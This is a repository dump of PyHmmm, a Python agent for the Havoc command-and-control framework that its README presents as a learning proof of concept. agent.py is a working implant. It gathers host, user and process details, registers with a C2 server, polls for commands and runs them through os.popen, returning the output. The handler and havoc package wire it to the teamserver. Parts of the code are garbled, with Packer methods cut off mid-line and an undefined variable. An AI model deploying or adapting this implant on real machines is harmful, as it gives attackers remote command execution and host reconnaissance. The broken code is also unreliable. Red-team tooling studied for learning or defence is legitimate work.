├── README.md
├── agent.py
├── demo.png
├── handler.py
├── havoc
├── __init__.py
├── __pycache__
│ ├── __init__.cpython-310.pyc
│ ├── agent.cpython-310.pyc
│ ├── externalc2.cpython-310.pyc
│ └── service.cpython-310.pyc
├── agent.py
├── externalc2.py
└── service.py
├── pyhmmm.png
└── requirements.txt
/README.md:
--------------------------------------------------------------------------------
1 | # PyHmmm
2 |
3 |
4 |
5 |
6 | ## What is this?
7 | This is a third party agent for Havoc C2 written in python. It is intended to be a basic PoC used to learn how to write custom Havoc agents, with its accompanying blog post https://codex-7.gitbook.io/codexs-terminal-window/red-team/red-team-dev/extending-havoc-c2/third-party-agents
8 |
9 | ## Features
10 | It currently only supports 2 commands:
11 | - shell {system command}
12 | - exit
13 |
14 | It is *not* meant to be OPSEC safe or safe to use in real life. It was meant to be used to learn the Havoc agent spec. I am working on an improved version that is safer to use in real environments (encrypted comms etc.) and that will be linked here when it's done.
15 | ## Install
16 |
17 | ```
18 | sudo pip install -r requirements
19 | ```
20 |
21 | ## Usage
22 | 1. start Havoc teamserver
23 | 2. python handler.py
24 | 3. python agent.py
25 |
26 | Be sure to manually modify the ip address and port in the agent manually, I didn't write the GUI auto generator script yet ;-;
27 |
28 | ## Why did you name it this? This is a dumb name!
29 | I literally could not think of a name and it was like 2 minutes to Havoc drop. Decided to name it after a funny emote.
30 | 
31 |
32 |
33 | Have fun
34 | ~ CodeX
35 |
--------------------------------------------------------------------------------
/agent.py:
--------------------------------------------------------------------------------
1 | import requests
2 | import json
3 | import socket
4 | import time
5 | import os
6 | import sys
7 | import random
8 | import string
9 | import platform
10 |
11 |
12 |
13 | url = 'http://127.0.0.1/test'
14 | magic = b"\x41\x41\x41\x41"
15 | agentid = 234234 # this values is changed later with a random one
16 | user_agent = 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36'
17 |
18 |
19 | def get_random_string(length):
20 | # choose from all lowercase letter
21 | letters = string.ascii_lowercase
22 | result_str = ''.join(random.choice(letters) for i in range(length))
23 | return result_str
24 |
25 | def checkin(data):
26 |
27 | print("Checking in for taskings")
28 | requestdict = {"task":"gettask","data":data}
29 | requestblob = json.dumps(requestdict)
30 | size = len(requestblob) + 12
31 | size_bytes = size.to_bytes(4, 'big')
32 | agentheader = size_bytes + magic + agentid
33 |
34 | headers = {'User-Agent': user_agent}
35 | x = requests.post(url, headers=headers, data=agentheader+requestblob.encode("utf-8"))
36 | for key, value in x.headers.items():
37 | print(f"{key}: {value}")
38 |
39 | if len(x.text) > 0:
40 | print("Havoc response: " + x.text)
41 | return x.text
42 |
43 | def register():
44 |
45 | # Register info:
46 | # - AgentID : int [needed]
47 | # - Hostname : str [needed]agenmt
48 | # - Username : str [needed]
49 | # - Domain : str [optional]
50 | # - InternalIP : str [needed]
51 | # - Process Path : str [needed]
52 | # - Process Name : str [needed]
53 | # - Process ID : int [needed]
54 | # - Process Parent ID : int [optional]
55 | # - Process Arch : str [needed]
56 | # - Process Elevated : int [needed]
57 | # - OS Build : str [needed]
58 | # - OS Version : str [needed]
59 | # - OS Arch : str [optional]
60 | # - Sleep : int [optional]
61 | hostname = socket.gethostname()
62 | registerdict = {
63 | "AgentID": str(agentid),
64 | "Hostname": hostname,
65 | "Username": os.getlogin(),
66 | "Domain": "",
67 | "InternalIP": socket.gethostbyname(hostname),
68 | "Process Path": os.getcwd(),
69 | "Process ID": str(os.getpid()),
70 | "Process Parent ID": "0",
71 | "Process Arch": "x64",
72 | "Process Elevated": 0,
73 | "OS Build": "NOT IMPLEMENTED YET",
74 | "Sleep": 1,
75 | "Process Name": "python",
76 | "OS Version": str(platform.version())
77 | }
78 | registerblob = json.dumps(registerdict)
79 | requestdict = {"task":"register","data":registerblob}
80 | requestblob = json.dumps(requestdict)
81 | size = len(requestblob) + 12
82 | size_bytes = size.to_bytes(4, 'big')
83 | agentheader = size_bytes + magic + agentid
84 | print("[?] trying to register the agent")
85 | headers = {'User-Agent': user_agent}
86 | x = requests.post(url, headers=headers, data=agentheader+requestblob.encode("utf-8"))
87 | for key, value in x.headers.items():
88 | print(f"{key}: {value}")
89 |
90 | print(x.text)
91 |
92 | return str(x.text)
93 |
94 | def runcommand(command):
95 | command = command.strip("\x00")
96 | if command == "goodbye":
97 | sys.exit(2)
98 | print(command)
99 | output = os.popen(command).read() + "\n"
100 | return output
101 |
102 | def main():
103 | global agentid
104 | agentid = get_random_string(4).encode('utf-8')
105 | agentheader = magic + agentid
106 | sleeptime = 5
107 | registered = ""
108 | outputdata = ""
109 |
110 | #register the agent
111 | while registered != "registered":
112 | registered = register()
113 | print("REGISTERED!")
114 |
115 | #checkin for commands
116 | while True:
117 | commands = checkin(outputdata)
118 | outputdata = ""
119 | if len(commands) > 4:
120 | commandsarray = commands.split(commands[0:4])
121 | for x in commandsarray:
122 | outputdata += runcommand(x)
123 |
124 | time.sleep(sleeptime)
125 |
126 | if __name__ == "__main__":
127 | main()
--------------------------------------------------------------------------------
/demo.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/CodeXTF2/PyHmmm/d783902b6fd34fc9123801e784fa8139409f5cd5/demo.png
--------------------------------------------------------------------------------
/handler.py:
--------------------------------------------------------------------------------
1 | from base64 import b64decode
2 | import json
3 | from havoc.service import HavocService
4 | from havoc.agent import *
5 | import os
6 |
7 | COMMAND_REGISTER = 0x100
8 | COMMAND_GET_JOB = 0x101
9 | COMMAND_NO_JOB = 0x102
10 | COMMAND_SHELL = 0x152
11 | COMMAND_EXIT = 0x155
12 | COMMAND_OUTPUT = 0x200
13 |
14 | # ====================
15 | # ===== Commands =====
16 | # ====================
17 | class CommandShell(Command):
18 | CommandId = COMMAND_SHELL
19 | Name = "shell"
20 | Description = "executes commands"
21 | Help = ""
22 | NeedAdmin = False
23 | Params = [
24 | CommandParam(
25 | name="commands",
26 | is_file_path=False,
27 | is_optional=False
28 | )
29 | ]
30 | Mitr = []
31 |
32 | def job_generate( self, arguments: dict ) -> bytes:
33 | Task = Packer()
34 |
35 | Task.add_data(arguments[ 'commands' ])
36 | return Task.buffer
37 |
38 | class CommandExit( Command ):
39 | CommandId = COMMAND_EXIT
40 | Name = "exit"
41 | Description = "tells the python agent to exit"
42 | Help = ""
43 | NeedAdmin = False
44 | Mitr = []
45 | Params = []
46 |
47 | def job_generate( self, arguments: dict ) -> bytes:
48 |
49 | Task = Packer()
50 |
51 | Task.add_data("goodbye")
52 |
53 | return Task.buffer
54 |
55 | # =======================
56 | # ===== Agent Class =====
57 | # =======================
58 | class python(AgentType):
59 | Name = "PyHmmm"
60 | Author = "@codex_tf2 @ Al130"
61 | Version = "0.2"
62 | Description = f"""python 3rd party agent for Havoc"""
63 | MagicValue = 0x41414141
64 |
65 | Arch = [
66 | "x64",
67 | "x86",
68 | ]
69 |
70 | Formats = [
71 | {
72 | "Name": "Python script",
73 | "Extension": "py",
74 | },
75 | ]
76 |
77 | BuildingConfig = {
78 | "Sleep": "10"
79 | }
80 |
81 | Commands = [
82 | CommandShell(),
83 | CommandExit(),
84 | ]
85 |
86 | # generate. this function is getting executed when the Havoc client requests for a binary/executable/payload. you can generate your payloads in this function.
87 | def generate( self, config: dict ) -> None:
88 |
89 | print( f"config: {config}" )
90 |
91 | # builder_send_message. this function send logs/messages to the payload build for verbose information or sending errors (if something went wrong).
92 | self.builder_send_message( config[ 'ClientID' ], "Info", f"hello from service builder" )
93 | self.builder_send_message( config[ 'ClientID' ], "Info", f"Options Config: {config['Options']}" )
94 | self.builder_send_message( config[ 'ClientID' ], "Info", f"Agent Config: {config['Config']}" )
95 |
96 | # build_send_payload. this function send back your generated payload
97 | self.builder_send_payload( config[ 'ClientID' ], self.Name + ".bin", "test bytes".encode('utf-8') ) # this is just an example.
98 |
99 | # this function handles incomming requests based on our magic value. you can respond to the agent by returning your data from this function.
100 | def response( self, response: dict ) -> bytes:
101 | agent_header = response[ "AgentHeader" ]
102 |
103 | print("Receieved request from agent")
104 | agent_header = response[ "AgentHeader" ]
105 | agent_response = b64decode( response[ "Response" ] ) # the teamserver base64 encodes the request.
106 | #print(agent_response)
107 | agentjson = json.loads(agent_response)
108 | #print(agent_header)
109 | if agentjson["task"] == "register":
110 | #print(json.dumps(agentjson,indent=4))
111 | print("[*] Registered agent")
112 | self.register( agent_header, json.loads(agentjson["data"]) )
113 | AgentID = response[ "AgentHeader" ]["AgentID"]
114 | self.console_message( AgentID, "Good", f"Python agent {AgentID} registered", "" )
115 | return b'registered'
116 | elif agentjson["task"] == "gettask":
117 |
118 | AgentID = response[ "Agent" ][ "NameID" ]
119 | #self.console_message( AgentID, "Good", "Host checkin", "" )
120 |
121 | print("[*] Agent requested taskings")
122 | Tasks = self.get_task_queue( response[ "Agent" ] )
123 | print("Tasks retrieved")
124 | if len(agentjson["data"]) > 0:
125 | print("Output: " + agentjson["data"])
126 | self.console_message( AgentID, "Good", "Received Output:", agentjson["data"] )
127 | print(Tasks)
128 | return Tasks
129 |
130 |
131 |
132 | def main():
133 | Havoc_python = python()
134 | print(os.getpid())
135 | print( "[*] Connect to Havoc service api" )
136 | havoc_service = HavocService(
137 | endpoint="wss://127.0.0.1:40056/service-endpoint",
138 | password="service-password"
139 | )
140 |
141 | print( "[*] Register python to Havoc" )
142 | havoc_service.register_agent(Havoc_python)
143 |
144 | return
145 |
146 |
147 | if __name__ == '__main__':
148 | main()
149 |
--------------------------------------------------------------------------------
/havoc/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/CodeXTF2/PyHmmm/d783902b6fd34fc9123801e784fa8139409f5cd5/havoc/__init__.py
--------------------------------------------------------------------------------
/havoc/__pycache__/__init__.cpython-310.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/CodeXTF2/PyHmmm/d783902b6fd34fc9123801e784fa8139409f5cd5/havoc/__pycache__/__init__.cpython-310.pyc
--------------------------------------------------------------------------------
/havoc/__pycache__/agent.cpython-310.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/CodeXTF2/PyHmmm/d783902b6fd34fc9123801e784fa8139409f5cd5/havoc/__pycache__/agent.cpython-310.pyc
--------------------------------------------------------------------------------
/havoc/__pycache__/externalc2.cpython-310.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/CodeXTF2/PyHmmm/d783902b6fd34fc9123801e784fa8139409f5cd5/havoc/__pycache__/externalc2.cpython-310.pyc
--------------------------------------------------------------------------------
/havoc/__pycache__/service.cpython-310.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/CodeXTF2/PyHmmm/d783902b6fd34fc9123801e784fa8139409f5cd5/havoc/__pycache__/service.cpython-310.pyc
--------------------------------------------------------------------------------
/havoc/agent.py:
--------------------------------------------------------------------------------
1 | from asyncio import Task
2 | import base64
3 | import json
4 | import struct
5 | import uuid
6 | import random
7 | import string
8 | from struct import pack, calcsize
9 |
10 | from black import out
11 | from itsdangerous import base64_encode
12 |
13 |
14 | def build_request(head_type, body: dict) -> dict:
15 | return {
16 | "Head": {
17 | "Type": head_type
18 | },
19 | "Body": body
20 | }
21 |
22 |
23 | class Packer:
24 | buffer: bytes = b''
25 | length: int = 0
26 |
27 | def get_buffer( self ) -> bytes:
28 | return pack( " None:
31 |
32 | self.buffer += pack( " None:
38 |
39 | if isinstance( data, str ):
40 | data = data.encode( "utf-8" )
41 |
42 | fmt = " None:
48 |
49 | print( f"[*] Buffer: [{ self.length }] [{ self.get_buffer() }]" )
50 |
51 | return
52 |
53 |
54 | class Parser:
55 | buffer: bytes = b''
56 | length: int = 0
57 |
58 | def __init__( self, buffer, length ):
59 |
60 | self.buffer = buffer
61 | self.length = length
62 |
63 | return
64 |
65 | def parse_int( self ) -> int:
66 |
67 | val = struct.unpack( ">i", self.buffer[ :4 ] )
68 | self.buffer = self.buffer[ 4: ]
69 |
70 | return val[ 0 ]
71 |
72 | def parse_bytes( self ) -> bytes:
73 |
74 | length = self.parse_int()
75 |
76 | buf = self.buffer[ :length ]
77 | self.buffer = self.buffer[ length: ]
78 |
79 | return buf
80 |
81 | def parse_pad( self, length: int ) -> bytes:
82 |
83 | buf = self.buffer[ :length ]
84 | self.buffer = self.buffer[ length: ]
85 |
86 | return buf
87 |
88 | def parse_str( self ) -> str:
89 | return self.parse_bytes().decode( 'utf-8' )
90 |
91 | class CommandParam:
92 | Name: str
93 | IsFilePath: bool
94 | IsOptional: bool
95 |
96 | def __init__( self, name: str, is_file_path: bool, is_optional: bool ):
97 |
98 | self.Name = name
99 | self.IsFilePath = is_file_path
100 | self.IsOptional = is_optional
101 |
102 | return
103 |
104 |
105 | class Command:
106 | Name: str
107 | Description: str
108 | Help: str
109 | NeedAdmin: bool
110 | Mitr: list[ str ]
111 | Params: list[ CommandParam ]
112 | CommandId: int
113 |
114 | def job_generate( self, arguments: dict ) -> bytes:
115 | pass
116 |
117 | def get_dict( self ) -> dict:
118 | return {
119 | "Name": self.Name,
120 | "Author": self.Author, # todo: remove this
121 | "Description": self.Description,
122 | "Help": self.Help,
123 | "NeedAdmin": self.NeedAdmin,
124 | "Mitr": self.Mitr,
125 | }
126 |
127 |
128 | class AgentType:
129 | Name: str
130 | Author: str
131 | Version: str
132 | MagicValue: int
133 | Description: str
134 | Arch = list[ str ]
135 | Formats = list[ dict ]
136 | Commands: list[ Command ]
137 | BuildingConfig = dict
138 |
139 | _Service_instance = None
140 |
141 | _current_data: dict = {}
142 |
143 | def task_prepare( self, arguments: dict ) -> bytes:
144 |
145 | for cmd in self.Commands:
146 | if arguments[ "Command" ] == cmd.Name:
147 | return cmd.job_generate( arguments )
148 |
149 | def generate( self, config: dict ) -> None:
150 | pass
151 |
152 | def download_file( self, agent_id: str, file_name: str, size: int, content: str ) -> None:
153 | ContentB64 = base64.b64encode( content.encode( 'utf-8' ) ).decode( 'utf-8' )
154 |
155 | self._Service_instance.Socket.send(
156 | json.dumps(
157 | {
158 | "Head": {
159 | "Type": "Agent"
160 | },
161 | "Body": {
162 | "Type" : "AgentOutput",
163 | "AgentID" : agent_id,
164 | "Callback" : {
165 | "MiscType" : "download",
166 | "FileName" : file_name,
167 | "Size" : size,
168 | "Content" : ContentB64
169 | }
170 | }
171 | }
172 | )
173 | )
174 |
175 | return
176 |
177 | def console_message( self, agent_id: str, type: str, message: str, output: str ) -> None:
178 |
179 | self._Service_instance.Socket.send(
180 | json.dumps(
181 | {
182 | "Head": {
183 | "Type": "Agent"
184 | },
185 | "Body": {
186 | "Type" : "AgentOutput",
187 | "AgentID" : agent_id,
188 | "Callback" : {
189 | "Type" : type,
190 | "Message": message,
191 | "Output" : output
192 | }
193 | }
194 | }
195 | )
196 | )
197 |
198 | return
199 |
200 | def get_task_queue( self, AgentInfo: dict ) -> bytes:
201 |
202 | RandID : str = ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase + string.digits) for _ in range(6))
203 | Tasks : bytes = b''
204 |
205 | self._Service_instance.Socket.send(
206 | json.dumps(
207 | {
208 | "Head": {
209 | "Type": "Agent"
210 | },
211 | "Body": {
212 | "Type" : "AgentTask",
213 | "Agent": AgentInfo,
214 | "Task": "Get",
215 | "RandID": RandID
216 | }
217 | }
218 | )
219 | )
220 |
221 | while ( True ):
222 | if RandID in self._current_data:
223 | Tasks = self._current_data[ RandID ]
224 | del self._current_data[ RandID ]
225 | break
226 | else:
227 | continue
228 |
229 | return Tasks
230 |
231 | def register( self, agent_header: dict, register_info: dict ):
232 | self._Service_instance.Socket.send(
233 | json.dumps(
234 | {
235 | "Head": {
236 | "Type": "Agent"
237 | },
238 | "Body": {
239 | "Type": "AgentRegister",
240 | "AgentHeader" : agent_header,
241 | "RegisterInfo": register_info
242 | }
243 | }
244 | )
245 | )
246 |
247 | return
248 |
249 | def response( self, response: dict ) -> bytes:
250 | pass
251 |
252 | def builder_send_message(self, client_id: str, msg_type: str, message: str):
253 |
254 | self._Service_instance.Socket.send(
255 | json.dumps(
256 | {
257 | "Head": {
258 | "Type": "Agent"
259 | },
260 | "Body": {
261 | "ClientID": client_id,
262 | "Type": "AgentBuild",
263 | "Message": {
264 | "Type": msg_type,
265 | "Message": message
266 | }
267 | }
268 | }
269 | )
270 | )
271 |
272 | return
273 |
274 | def builder_send_payload( self, client_id: str, filename: str, payload: bytes ):
275 |
276 | self._Service_instance.Socket.send(
277 | json.dumps(
278 | build_request("Agent", {
279 | "ClientID": client_id,
280 | "Type": "AgentBuild",
281 | "Message": {
282 | "FileName": filename,
283 | "Payload": base64.b64encode(payload).decode('utf-8')
284 | }
285 | })
286 | )
287 | )
288 |
289 | return
290 |
291 | def get_dict( self ) -> dict:
292 | AgentCommands: list[ dict ] = []
293 |
294 | for command in self.Commands:
295 | command_params: list[dict] = []
296 |
297 | for param in command.Params:
298 | command_params.append( {
299 | "Name": param.Name,
300 | "IsFilePath": param.IsFilePath,
301 | "IsOptional": param.IsOptional,
302 | } )
303 |
304 | AgentCommands.append( {
305 | "Name": command.Name,
306 | "Description": command.Description,
307 | "Help": command.Help,
308 | "NeedAdmin": command.NeedAdmin,
309 | "Mitr": command.Mitr,
310 | "Params": command_params
311 | } )
312 |
313 | return {
314 | "Name": self.Name,
315 | "MagicValue": hex( self.MagicValue ),
316 | "BuildingConfig": self.BuildingConfig,
317 | "Arch": self.Arch,
318 | "Formats": self.Formats,
319 | "Author": self.Author,
320 | "Description": self.Description,
321 | "Commands": AgentCommands
322 | }
323 |
--------------------------------------------------------------------------------
/havoc/externalc2.py:
--------------------------------------------------------------------------------
1 | import base64
2 |
3 | import requests
4 |
5 |
6 | class ExternalC2:
7 | Server: str = ''
8 |
9 | def __init__( self, server ) -> None:
10 | self.Server = server
11 | return
12 |
13 | def transmit( self, data ) -> bytes:
14 | agent_response = b''
15 |
16 | try:
17 | response = requests.post( self.Server, data=data )
18 | agent_response = base64.b64decode(response.text)
19 |
20 | except Exception as e:
21 | print( f"[-] Exception: {e}" )
22 |
23 | return agent_response
24 |
25 |
--------------------------------------------------------------------------------
/havoc/service.py:
--------------------------------------------------------------------------------
1 | import base64
2 | from cgi import print_form
3 |
4 | from havoc.agent import AgentType
5 | from havoc.externalc2 import ExternalC2
6 | from threading import Thread
7 |
8 | import websocket
9 | import json
10 | import ssl
11 |
12 |
13 | def build_request(head_type, body: dict) -> dict:
14 | return {
15 | "Head": {
16 | "Type": head_type
17 | },
18 | "Body": body
19 | }
20 |
21 |
22 | class HavocService:
23 |
24 | Socket: websocket.WebSocketApp = None
25 | Teamserver: str = None
26 | Endpoint: str = None
27 | Password: str = None
28 | Connected: bool = False
29 | RegisteredAgent: AgentType = None
30 |
31 | def __init__(self, endpoint: str, password: str):
32 |
33 | if len(endpoint) > 0:
34 | self.Endpoint = endpoint
35 | else:
36 | print("[!] endpoint not specified.")
37 |
38 | if len(password) > 0:
39 | self.Password = password
40 | else:
41 | print("[!] password not specified.")
42 |
43 | self.Socket = websocket.WebSocketApp(
44 | endpoint,
45 | on_error=self.__ws_on_error,
46 | on_message=self.__ws_on_message,
47 | on_open=self.__ws_on_open
48 | )
49 |
50 | Thread( target=self.Socket.run_forever, kwargs={'sslopt': {'check_hostname': False, "cert_reqs": ssl.CERT_NONE}} ).start()
51 |
52 | while True:
53 | if self.Connected:
54 | break
55 |
56 | return
57 |
58 | def __ws_on_error(self, wsapp, error):
59 | print("[-] Websocket error:", error)
60 |
61 | def __ws_on_open(self, socket):
62 | print("[*] teamserver socket opened")
63 |
64 | request = json.dumps(
65 | build_request("Register", {
66 | "Password": self.Password
67 | }),
68 | sort_keys=True
69 | )
70 |
71 | socket.send( request )
72 | return
73 |
74 | def __ws_on_message( self, ws, data ):
75 | print( "[*] New Message" )
76 |
77 | data = json.loads( data )
78 |
79 | t = Thread(target=self.service_dispatch, args=(data,))
80 | t.start()
81 |
82 | # self.service_dispatch( json.loads( data ) )
83 |
84 | return
85 |
86 | def register_agent( self, agent_type: AgentType ):
87 |
88 | # todo: check BuildConfig if everything is by rule
89 |
90 | if self.RegisteredAgent is None:
91 | print( "[*] register agent" )
92 |
93 | self.RegisteredAgent = agent_type
94 | self.RegisteredAgent._Service_instance = self
95 |
96 | request = json.dumps(
97 | build_request( "RegisterAgent", {
98 | "Agent": agent_type.get_dict()
99 | } ),
100 | sort_keys=True
101 | )
102 |
103 | self.Socket.send( request )
104 | else:
105 | print( "[!] Agent already registered" )
106 |
107 | return
108 |
109 | def register_externalc2( self, externalc2: ExternalC2 ):
110 |
111 | if self.ExternalC2 is None:
112 |
113 | self.ExternalC2 = externalc2
114 | self.ExternalC2._Service_instance = self
115 |
116 | request = json.dumps(
117 | build_request("RegisterAgent", {
118 | "Agent": agent_type.get_dict()
119 | }),
120 | sort_keys=True
121 | )
122 |
123 | self.Socket.send(request)
124 | else:
125 | print( "[-] External C2 already registered" )
126 |
127 | return
128 |
129 | def service_dispatch( self, data: dict ):
130 |
131 | match data[ "Head" ][ "Type" ]:
132 |
133 | case "Register":
134 |
135 | self.Connected = data[ "Body" ][ "Success" ]
136 |
137 | return
138 |
139 | case "RegisterAgent":
140 | return
141 |
142 | case "Agent":
143 |
144 | match data[ "Body" ][ "Type" ]:
145 |
146 | case "AgentTask":
147 |
148 | if data[ "Body" ][ "Task" ] == "Get":
149 | RandID = data[ "Body" ][ "RandID" ]
150 | Tasks = base64.b64decode( data[ "Body" ][ "TasksQueue" ] )
151 |
152 | print( f"Set TasksQueue to {RandID} = {Tasks.hex()}" )
153 |
154 | self.RegisteredAgent._current_data[ RandID ] = Tasks
155 |
156 | elif data[ "Body" ][ "Task" ] == "Add":
157 | data[ "Body" ][ "Command" ] = base64.b64encode( self.RegisteredAgent.task_prepare( data[ 'Body' ][ 'Command' ] ) ).decode( 'utf-8' )
158 |
159 | self.Socket.send( json.dumps( data ) )
160 |
161 | case "AgentResponse":
162 |
163 | agent_response = self.RegisteredAgent.response( data[ "Body" ] )
164 | data[ "Body" ][ "Response" ] = base64.b64encode( agent_response ).decode( 'utf-8' )
165 |
166 | self.Socket.send( json.dumps( data ) )
167 |
168 | case "AgentBuild":
169 |
170 | self.RegisteredAgent.generate( data[ "Body" ] )
171 |
172 | return
173 |
--------------------------------------------------------------------------------
/pyhmmm.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/CodeXTF2/PyHmmm/d783902b6fd34fc9123801e784fa8139409f5cd5/pyhmmm.png
--------------------------------------------------------------------------------
/requirements.txt:
--------------------------------------------------------------------------------
1 | black
2 | flask
3 | itsdangerous
4 | requests
5 | websocket-client
6 |
--------------------------------------------------------------------------------